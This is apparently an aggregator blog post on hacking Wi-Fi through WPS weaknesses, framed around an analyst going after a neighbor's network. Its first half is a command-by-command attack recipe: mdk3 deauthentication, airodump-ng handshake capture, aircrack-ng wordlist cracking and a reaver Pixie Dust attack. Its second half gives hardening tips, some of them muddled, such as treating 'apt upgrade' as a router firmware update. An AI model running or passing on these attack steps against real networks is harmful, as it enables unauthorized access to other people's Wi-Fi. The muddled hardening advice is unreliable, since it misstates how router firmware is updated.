How to Exploit WPS Vulnerabilities for Wi-Fi Hacking

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When a network security analyst discovered a neighbor’s Wi-Fi with WPS enabled, it became an opportunity to demonstrate real-world Wi-Fi hacking techniques. Here’s how it happened and what you should know about WPS vulnerabilities.

Tools & Techniques Used

1. Deauthentication Attack (`mdk3`):

mdk3 wlan0mon d -c <channel> -b <BSSID>

Forces devices to disconnect, capturing the 4-way handshake.

2. Handshake Capture (`airodump-ng`):

airodump-ng wlan0mon --bssid <BSSID> -c <channel> -w capture

Saves the handshake to a `.pcap` file for analysis.

3. Cracking with `aircrack-ng`:

aircrack-ng -w rockyou.txt capture.cap

Attempts to crack the password using a wordlist.

4. Pixie Dust Attack (`reaver` or `bully`):

reaver -i wlan0mon -b <BSSID> -vv -K 1

Exploits weak WPS PIN generation to recover the Wi-Fi key.

You Should Know: Securing Wi-Fi Networks

1. Disable WPS

WPS (Wi-Fi Protected Setup) is a major security flaw. Disable it in your router settings:

 Check if WPS is enabled (Linux)
wash -i wlan0mon

2. Change Default Router Credentials

Most routers use `admin/admin` or admin/password. Always change these:

 Example: Logging into a router (Linux/Windows)
curl http://192.168.1.1/login --data "username=admin&password=admin"

3. Use Strong Wi-Fi Passwords

Avoid dictionary words. Instead, use:

 Generate a strong password (Linux)
openssl rand -base64 12

4. Update Firmware

Outdated firmware is a common attack vector. Check for updates:

 Linux (check for available updates)
sudo apt update && sudo apt upgrade

5. Monitor for Rogue Devices

Use `nmap` to scan your network:

nmap -sn 192.168.1.0/24

What Undercode Say

This case highlights how easily Wi-Fi networks can be compromised if basic security measures are ignored. Ethical hacking skills can expose vulnerabilities before malicious actors exploit them.

Expected Output:

  • WPS disabled.
  • Strong Wi-Fi password set.
  • Router credentials changed.
  • Firmware updated.
  • Network traffic monitored.

Prediction

As IoT devices grow, WPS attacks will remain a threat. Automated tools will make exploitation faster, forcing stricter Wi-Fi security standards.

Relevant URLs:

IT/Security Reporter URL:

Reported By: Moises Cerqueira – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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